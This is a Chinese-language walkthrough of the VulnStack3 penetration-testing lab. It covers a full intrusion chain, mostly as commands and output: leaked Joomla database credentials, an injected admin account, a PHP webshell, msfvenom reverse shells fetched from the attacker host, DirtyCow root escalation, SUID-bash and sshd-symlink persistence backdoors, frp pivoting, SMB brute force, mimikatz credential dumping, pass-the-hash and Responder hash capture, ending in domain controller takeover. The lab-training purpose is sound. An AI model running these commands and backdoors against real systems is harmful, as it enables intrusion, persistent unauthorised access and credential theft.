VulnStack3 靶机
VulnStack3
0x00 Get WebShell
使用MSF打造各种ShellCode (shuzhiduo.com)

-
首先进行信息收集,端口扫描、子目录扫描、指纹识别
fscan -full -h 192.168.100.96 # 端口开放情况 # 192.168.100.96:80 open # 192.168.100.96:22 open # 192.168.100.96:3306 open python3 dirsearch.py -u http://192.168.100.96 # 扫描结果中有一条configuration.php~ # http://192.168.100.96/configuration.php~ # http://192.168.100.96/administrator vscan -host 192.168.100.96 -p 1-80 # AdminLoginPage,Google Font API,Joomla,Nginx:1.9.4,PHP,joomla # 也可以使用goby、wappalyzer收集端口、指纹信息
-
这个站点使用了
Joomla CMS使用msfconsole扫描一下其版本
use auxiliary/scanner/http/joomla_version # 扫描结果 # [*] Server: nginx/1.9.4 # [+] Joomla version: 3.9.12将joomla的pyload使用了,都无法利用
-
经过翻找,在http://192.168.100.96/configuration.php~找到数据库的账密信息
# 发现其中有mysql账密 public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'testuser'; public $password = 'cvcvgjASD!@'; public $db = 'joomla'; -
使用DBeaver连接数据库,发现有一个super user 账户,但其密码是经过了加密。无法直接登录,之前也没能爆破成功
184 Super User admin test@test.com $2y$10$N/Yv/9rzxyq.z0gLTT5og.pj3FFAP8Sq2PcBgsMX/Qnc2671qQkHy
-
尝试添加一个超级用户,但是密码是经过加密处理的,所以写入数据库的用户也需要是加密后的密码
在网上搜索joomla管理员密码忘记怎么办 如何恢复或重置管理员密码? - Joomla! Documentation

INSERT INTO joomla.umnbt_users (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Super User', 'test', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO joomla.umnbt_user_usergroup_map (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');但还是无法登录后台,发现还有另外的用户表,再把自己的用户信息添加到新的表,新的账户信息:
test/secretINSERT INTO joomla.am2zu_users (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Super User', 'test', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO joomla.am2zu_user_usergroup_map (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');成功进入后台

-
寻找文件上传点
Extensions/Install可以上传文件,但好像对文件内容做了限制,上传文件会失败

除了上传安装包,还有通过URL安装的功能,但是使用ceye发现其根本没有访问指定的url

继续寻找,有一个Extentions/Templates功能,很多CMS都有类似的功能,可以直接管理部分文件。直接在index.php中写入一句话木马

访问
http://192.168.100.96/templates/beez3/index.php?a=phpinfo(),虽然没有报错,但是小马也没有执行。在index.php上添加phpinfo()查看php配置,但是同样是一片空白。
尝试新建一个php文件,写入一句话木马,蚁剑连接执行命令失败,应该是禁用了部分敏感函数


写入
phpinfo(),查看disable_functions,果然很多函数都被禁用了
-
蚁剑有款插件可以bypass disabe_functions

再次连接,成功绕过限制,可以执行命令。通过查看网卡信息,发现其内网网段
192.168.93.0/24
查看其内核为x86_64

至此获取WebShell就已经成功,接下来就需要进入内网,进行内网渗透了。
0x01 Web服务器提权
-
先反弹一个shell到msf
# MSF监听666端口 handler -p linux/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 6666 # 生成shellcode msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.100.98 lport=6666 -f elf -o payload # 使用python开个web服务,让web服务器下载shellcode python3 -m http.server 80使用蚁剑虚拟终端,下载该shellcode,并运行
wget http://192.168.100.98/payload但是无法访问,提示网络不可达。查看网卡信息发现,其只有内网一张网卡,webshell中看不见外网网卡。查看路由信息也只有一条。因权限不够也无法查看网卡信息文件

尝试加一条到外网的路由信息,同样由于权限问题被拒绝
route add -net 192.168.100.0/24 gw 192.168.100.96
那只有直接上传msf文件反弹试试,即使执行了在MSF也没有回弹一个shell,这台Ubuntu应该是和外网不通的。
想到一种可能,这个webshell其实是内网的一个Web服务器,即
Ubuntu (192.168.93.120)通过Centos (192.168.100.96)(我们直接访问的服务器)反向代理到公网先找找有没有类似密码的字段
find /var/www -type f -name '*.[^php|^py|^js]*' 2> /dev/null | xargs grep -i 'passwd' 1>> /tmp/result && find /home -type f -name '*.[^php|^py|^js]*' 2> /dev/null | xargs grep -i 'passwd' 1>> /tmp/result && find /tmp -type f -name '*.[^php|^py|^js]*' 2> /dev/null | xargs grep -i 'passwd' 1>> /tmp/result cat /tmp/result
查看结果,发现了类似密码的字段,查看该文件发现账密。根据前面的命令字段,猜测是操作系统账户
adduser wwwuser passwd wwwuser_123Aqx
使用该账户登录外网web服务器
192.168.93.100也就是192.168.100.96,查看网卡信息,一张外网,一张内网

下载kali上的木马,并执行,成功反弹shell
# MSF监听6666端口 handler -p linux/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 6666

-
权限提升
当前获得的用户只是一个低权限用户,我们需要获取高权限后才能作为一个稳定的内网跳板

因为知道账密,打算用sudo提权,可是该用户连sudo权限都没有
sudo -l # 查看无需使用密码的命令 sudo git help config !/bin/bash 或 !'sh
看看计划任务有没有可写的root权限脚本。很遗憾也没有
ls -l /ect/cron*
再试试suid提权
SUID:当s这个标志出现在文件所有者的x权限位时,此时被称为Set UID,简称SUID

- SUID权限仅对可执行文件有效
- 执行者对于该可执行文件需要具有x权限
- 在执行过程中,调用者会暂时获得该文件的拥有者权限
- 该权限只在程序执行的过程中有效
一般有:find、 nano、 vim、 awk、 bash、 less、 nmap、 more、curl、 cp、man、mv
find / -perm -u=s -type f 2>/dev/null | xargs ls -l
ping具有suid权限,试试是否可用于提权
mkdir up # 创建exp的硬链接 ln /bin/ping /tmp/up/exp # 查看exp的权限,可以看到exp同样具有了suid权限 ll /tmp/up/exp # 将exp加载到内存中 exec 3< /tmp/up/exp # 查看exp在内存中的情况 ll /proc/$$/fd/3 # 删除up文件夹 rm -rf /tmp/up # 查看exp在内存中是否存于删除状态 ll /proc/$$/fd/3 # 创建C程序 vi payload.c# 弹出一个具有root权限的shell void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); }# gcc编译 gcc -W -fPIC -shared -o /tmp/up payload.c # 提权至root LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3失败,一执行ssh会话会直接断开

麻了,直接msf上手,搜索本地提权工具
search local_exploit_suggester
有三个可用的漏洞,试了试,全部GG



温柔一点但是搞不定,只好上内核了
# 查看发行版本为 CentOS release 6.5 (Final) cat /etc/*-release # 查看内核版本信息为 2.6.32-431.el6.x86_64 uname -r # 搜索可用的漏洞 searchsploit linux kernel 2.6.32-431
# 找到一个 2.6.22 < 3.9 脏牛的本地提权漏洞,复制到当前路径 searchsploit -m 40839.c # Web服务器下载并编译执行 gcc -pthread 40839.c -o dirty -lcrypt ./dirty [new password]成功修改了id=0的账户,登录成功获得root权限

利用脏牛漏洞提权,其本质上类似于条件竞争漏洞,获取到只读文件的写权限。
详情参考:【漏洞分析】11月4日:深入解读脏牛Linux本地提权漏洞(CVE-2016-5195) - 安全客,安全资讯平台 (anquanke.com)
-
由于使用的这个脏牛脚本是直接更改的root账户密码,为了隐藏自己,我们需要还原回去,新建一个root权限用户
首先在备份的passwd文件中增加一个新的用户
# 新增一个root权限的用户 useradd -g root admin passwd admin # 将admin信息添加到/tmp/passwd.bak中 # 注意将用户id改为0,不然仅添加的root组,是无法获取真正的root权限的 echo "admin:x:0:0::/root:/bin/bash" >> /tmp/passwd.bak # 将备份的passwd还原 cp /tmp/passwd.bak /etc/passwd至此我们就可使用admin登录root用户了
0x02 CentOS权限维持
-
admin用户还是容易被发现,被发现删除之后我们就失去了这台Web服务器的权限。因此我们需要留下后门,确保root权限不会丢失,即权限维持。
-
这里用两种方式简单演示一下维持权限。
第一种利用suid权限
# 复制/bin/bash到web目录下 cp /bin/bash /home/wwwuser/.pki/nssdb/.log # 为其添加suid权限 chmod 4755 /home/wwwuser/.pki/nssdb/.log # 直接运行该文件就可以获得一个root权限的shell /home/wwwuser/.pki/nssdb/.log -p
SUID权限:可以让用户在执行文件时,以拥有者的身份进行执行
-
第二种使用软连接
# 判断是否可以做软连接后门 cat /etc/ssh/sshd_config|grep UsePAM # UsePAM yes 则可以进行软连接 # 以root权限建立软连接 ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 # 使用ssh进行登录 ssh root@192.168.100.96 -p 12345 # 输入任意密码即可进入
PAM认证:通过提供一些动态链接库和一套统一的API,将系统提供的服务 和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。Service(服务)→PAM(配置件)→pam_*.so。PAM认证首先要确定那一项服务,然后加载相应的PAM的配置文件(位于/etc/pam.d下),最后调用认证文件(位于/lib/security下)进行安全认证,用户访问服务器的时候,服务器的某一个服务程序把用户的谁请求发送到PAM模块进行认证
原理:pam_rootok.so模块的功能是若用户UID是0,返回成功,当 /etc/pam.d/ssh 文件配置了 auth sufficientpam_rootok.so 时可以不需要密码登录。当在被控制端执行命令 ln -sf /usr/sbin/shd /usr/local/su;/usr/local/su -oPort=12345 建立sshd的软连接后门,PAM认证时会根据软连接的名字到 /etc/pam.d 目录寻找对应到PAM认证文件,由于软连接的文件名为su,所以ssh的认证文件就被替换成了 /etc/pam.d/su ,而 su 中默认配置了 auth sufficient pam_rootok.so ,从而导致SSH可以不需要密码登录。
-
现在可以删除admin用户,
不过为了后续方便,我们这里暂不删除
0x03 内网穿透
Kali: 192.168.100.98
WebServer[CentOS]: 192.168.100.96(外网)
192.168.93.100(内网)
WebServer[Ubuntu]: 192.168.93.120(内网)

因为我们是与Web服务器的外网网卡在进行通信,无法与内网直接通信,所以需要将Kali的流量转发到内网中去。

-
通过添加路由的方式,将MSF流量切入内网
(192.168.93.0/24)# 进入CentOS的会话 sessions -i 1 # 将MSF流量切入到当前会话 run post/multi/manage/autoroute
-
将Kali的流量切入到MSF中,进而实现Kali与内网通信
MSF使用
auxiliary/server/socks_proxy模块,启动一个代理端口
然后配置proxychains4
# 配置proxychains4 vim /etc/proxychains4.conf # 在最后一行添加 socks5[tab]127.0.0.1[tab]1080proxychains4 [tool_name] [cmd]将Kali的流量通过MSF代理到内网中
如果MSF建立的通道不稳定,可以利用SSH建立一条TCP通道
ssh -TND 9999 admin@192.168.100.96
这时就可以用Kali通过作为跳板的CentOs对内网发起渗透了。但是这也存在一个问题,这种方式只能实现Kali主动访问内网,而内网的设备是无法主动访问到外网的Kali,内网反弹Shell也就无从说起。Kali的流量可以通过CentOS转发到内网,那么我们同样可以借助工具将内网的流量通过CentOS转发到Kali上。这里我使用的是frp来实现
-
配置frps.ini、frpc.ini,将内网流量转发到Kali
# frps.ini
[common]
bind_port = 7000 # frps端口
# frpc.ini
[common]
server_add = 192.168.100.96 # frps的外网地址
server_port = 7000 frps的端口
[ssh]
type = tcplocal_ip = 127.0.0.1 # 本地转发
local_port = 6666 # frpc会将frps转发的流量转发到该端口
remote_port = 6000 # 指定frps监听的端口
# 在Kali上运行frp客户端 ./frpc -c frpc.ini # 在CentOS上运行frp服务器 ./frps -c frps.ini这样当内网机器与
CentOS的6000端口通信时,其流量都会被CentOS转发到Kali的6666端口 -
MSF生成木马
注:这里反弹shell需要到CentOS的6000端口
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.93.100 lport=6000 -f elf -o payload -
反弹shell至Kali
通过之前获得的webshell将payload上传至Ubuntu,并执行,成功获取到Ubuntu反弹回来的shell
注:Kali的MSF需要监听6666端口

0x04 Ubuntu提权
PS:之前MSF提权失败,用Ubuntu演示一下,实际在打靶时可以跳过这一步
-
使用MSF直接搜索可用的提权漏洞
search local_exploit_suggester,Kali对于第三个提权漏洞exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec比较肯定,就使用第三个吧
-
注意在配置提权漏洞的监听地址时一定要注意,需要配置成内网出口地址
192.168.93.100:6000,不然即使提权成功也返回不了会话
-
成功反弹回一个root权限的会话,提权成功

0x05 获取域环境入口
-
内网信息收集
这里就用fscan吧,利用MSF会话将其上传到Ubuntu上

直接扫描整个C段:
./fscan -h 192.168.93.0/24
信息较少,用goby再扫一下作为补充确认一下

整理一下内网信息
OS IP PORT WinServer 2012 192.168.93.10 53、135、139、389、445 TEST\WIN-8GA56TNV3MV WinServer 2008 192.168.93.20 80、135、139、445、1433 TEST\WIN2008 Win 7 192.168.93.30 135、139、445 TEST\WIN7 完整的拓扑图:

-
Win2008开启了80端口,访问会直接下载一份文件,内容是一串无意义的数字。目录扫描也没有结果


-
都开启了445端口,尝试一下SMB爆破:
auxiliary/scanner/smb/smb_login,成功爆出了Win7和Win2008的密码administrator/123qwe!ASD(两个密码都是一样的过于离谱了,这里我就假装没有爆出Win2008的密码,选择Win7这台个人PC作为入口)PS:这步之后的所有步骤均失败,没有成功,可以直接跳转到第六章节 [0x06 获取域控](#0x06 获取域控)


-
使用
exploit/windows/smb/psexec模块让Win7上线MSFsysteminfo>C:\Windows\Temp\a.txt&(for %i in (kb2871997) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed! )&del /f /q /a C:\Windows\Temp\a.txt
-
这个会话直接就有system权限,查看其在TEST域环境中


-
虽然这个账号权限很高,但是其不在域环境中
# 查询当前登录域及登录用户信息 net config workstation # 查询域内用户的详细信息 wmic useraccount get /all # 查看有几个域 net view /domain
-
上传神器mimikatz
Privilege::debug获取 LM & NTLM 凭证:
sekurlsa::msv获取密码:
sekurlsa::logonpasswords
这里虽然没有抓到明文密码(当然也可以修改注册表让Wdigest保存明文密码,不过这需要对应用户重新登录,这个靶场环境下不知道密码也就无法重新登录,真实环境中倒可以试一试)
进行hash传递(PTH):
sekurlsa::pth /user:WIN7$ /domain:test.org /ntlm:bb6b48766fb280d74babb50e781bbc21
应该是成功了,弹出了一个域用户WIN7$的CMD窗口,但是由于在MSF环境下,我们无法切换到该CMD,只能到图形化界面去操作
-
开启远程桌面服务
该PC没有安装ssh服务,无法开启ssh

启动远程桌面服务
# 设置远程桌面端口 reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f # 开启远程桌面 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
使用rdesktop连接:
proxychains4 rdesktop -u administrator -p 123qwe\!ASD -s -d 192.168.93.30
此时我们就以administrator的身份登录到Win7的了。
PS:由于我这个MSF开代理不稳定,用SSH开一个代理根本连接不上

直接使用MobaXterm连接Win7,注意在配置会话信息的时候,需要在网络设置里面配置好跳板机的信息(
CentOS 192.168.100.96),这样不通过Kali直接连接,更加稳定。
-
再次执行
sekurlsa::pth /user:WIN7$ /domain:test.org /ntlm:bb6b48766fb280d74babb50e781bbc21,弹出了一个cmd窗口
-
定位DC:
nslookup -qt=ns test.org可以看到DC在
WinServer2012 192.168.93.10这台主机上
-
找了一圈,没有发现出了WIN7$没有其他域成员的NTLM或票据,可能这台电脑只有WIN7$登录。

PS:最终尝试了各种姿势还是没成功,于是借鉴大佬的思路Vulnstack3 - 腾讯云开发者社区-腾讯云 (tencent.com)
0x06 获取域控
这里的攻击方式是 MSSQL NTLM Stealer
win2008(192.168.93.20)开启了1433端口,账密使用前面http://192.168.100.96/configuration.php~中的 testuser / cvcvgjASD!@
(别问为什么,我也不太理解一个内网的MSSQL数据库和外部站点的MySQL要使用相同的账密)
-
proxychains4 tsql -S 192.168.93.20 -U testuser验证账密是否正确
-
需要使用到工具
Responder进行监听,这台Centos上缺乏相应的环境,下面是安装方法
# 首先需要修改时间为当前时间,不然会报错
date -s "20221020 22:45:30" &&hwclock --systohc
# 建议先下在Kali上,然后上传至Centos或直接下载
wget https://www.sqlite.org/2022/sqlite-autoconf-3390400.tar.gz --no-check-certificate
wget https://www.openssl.org/source/openssl-1.1.1g.tar.gz --no-check-certificate
wget https://jaist.dl.sourceforge.net/project/libpng/zlib/1.2.11/zlib-1.2.11.tar.gz --no-check-certificate
wget https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz
wget https://codeload.github.com/lgandx/Responder/zip/refs/heads/master
# 安装zlib
tar -zxvf zlib-1.2.11.tar.gz && cd zlib-1.2.11 && ./configure && make && make install && make clean && ./configure --shared && make install && cp zutil.h /usr/local/include && cp zutil.c /usr/local/include && cd ..
# 安装openssl
tar -zxvf openssl-1.1.1g.tar.gz && cd openssl-1.1.1g && ./config --prefix=/usr/local/openssl shared zlib && make && make install && echo 'export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/openssl/lib' >> ~/.bash_profile && source ~/.bash_profile && cd ..
# 安装sqlite3
tar -zxvf sqlite-autoconf-3390400.tar.gz && cd sqlite-autoconf-3390400 && ./configure --prefix=/usr/local/sqlite3 && make && make install && cd ..
# 安装Python3
gunzip Python-3.6.9.tgz && tar -xvf Python-3.6.9.tar && cd Python-3.6.9 && LD_RUN_PATH=/usr/local/sqlite3/lib && export LDFLAGS="-L/usr/local/sqlite3/lib -L/usr/local/openssl/lib" && export CPPFLAGS="-I /usr/local/sqlite3/include -I /usr/local/openssl/include" && export PKG_CONFIG_PATH="/usr/local/openssl/lib/pkgconfig" && chmod u+x configure &&
./configure --prefix=/usr/local/python3.6 --enable-shared CFLAGS=-fPIC --with-openssl=/usr/local/openssl && chmod u+x Modules/_ctypes/libffi/configure &&
make && make install && sudo sh -c "echo '/usr/local/python3.7/lib' >> /etc/ld.so.conf" && cp /usr/local/python3.6/bin/python3.6 /usr/bin/ && update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.6 1 && cp /usr/local/python3.6/bin/pip3 /usr/bin && update-alternatives --install /usr/bin/pip3 pip3 /usr/bin/pip3 1 && echo '/usr/local/python3.6/lib' > /etc/ld.so.conf.d/python3.conf && ldconfig && cd ..
# 安装Responder
unzip Responder-master.zip && cd Responder-master && pip3 install -r requirements.txt
-
安装好相应的环境和工具后执行
python3 Responder.py -I eth1 -PvPS:注意选择内网网卡


-
MSF中利用
auxiliary/admin/mssql/mssql_ntlm_stealer触发UNC
-
成功,获取到NTLMv2-Hash

[SMB] NTLMv2-SSP Client : 192.168.93.20
[SMB] NTLMv2-SSP Username : WIN2008\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::WIN2008:19389e2f4f34823e:C15B71B5996B9E6CBCECA4969357B161:0101000000000000BF98403565E5D801556BDFAB689C338F000000000200080053005A004E00380001001E00570049004E002D004D0053005400440034004A004A00490038004F004B0004003400570049004E002D004D0053005400440034004A004A00490038004F004B002E0053005A004E0038002E004C004F00430041004C000300140053005A004E0038002E004C004F00430041004C000500140053005A004E0038002E004C004F00430041004C00080030003000000000000000000000000030000011C4314A8F10C5B6E59317CE9DBBCF8859B4494BEA8E251FCE09E150BA4F27F40000000000000000 -
利用hashcat进行爆破
首先确认应采用哪种Mode进行破解
hashcat --example-hashes | findstr /n NTLMv2 hashcat --example-hashes > tmp.txt | PowerShell "Get-Content -Path ./tmp.txt -TotalCount 1556 | Select-Object -Last (1556-1536)"
Mode: 5600
加载字典进行破解,爆破出来密码是
123qwe!ASDhashcat -m 5600 NTLM.txt MidPwds.txt --force
-
利用
exploit/windows/smb/psexec模块,让win2008上线MSFPS:注意反弹的地址是CentOS内网网卡的5000端口

成功获取到win2008反弹回来的shell

-
获取域控的访问控制权
进入win2008的会话,查看进程,发现有域管的进程

将其迁移,成功获取到域管权限
migrate 3800shell
-
通过翻找域控上的文件,获取到flag文件

-
也可以上传
mimikatz,直接抓取到域控的明文密码Privilege::debug sekurlsa::logonpasswords
这篇文章主要是想通过打靶机的过程思路简单演示一下内网渗透,有些步骤在打靶时可以省略。希望能对大家有所帮助。

浙公网安备 33010602011771号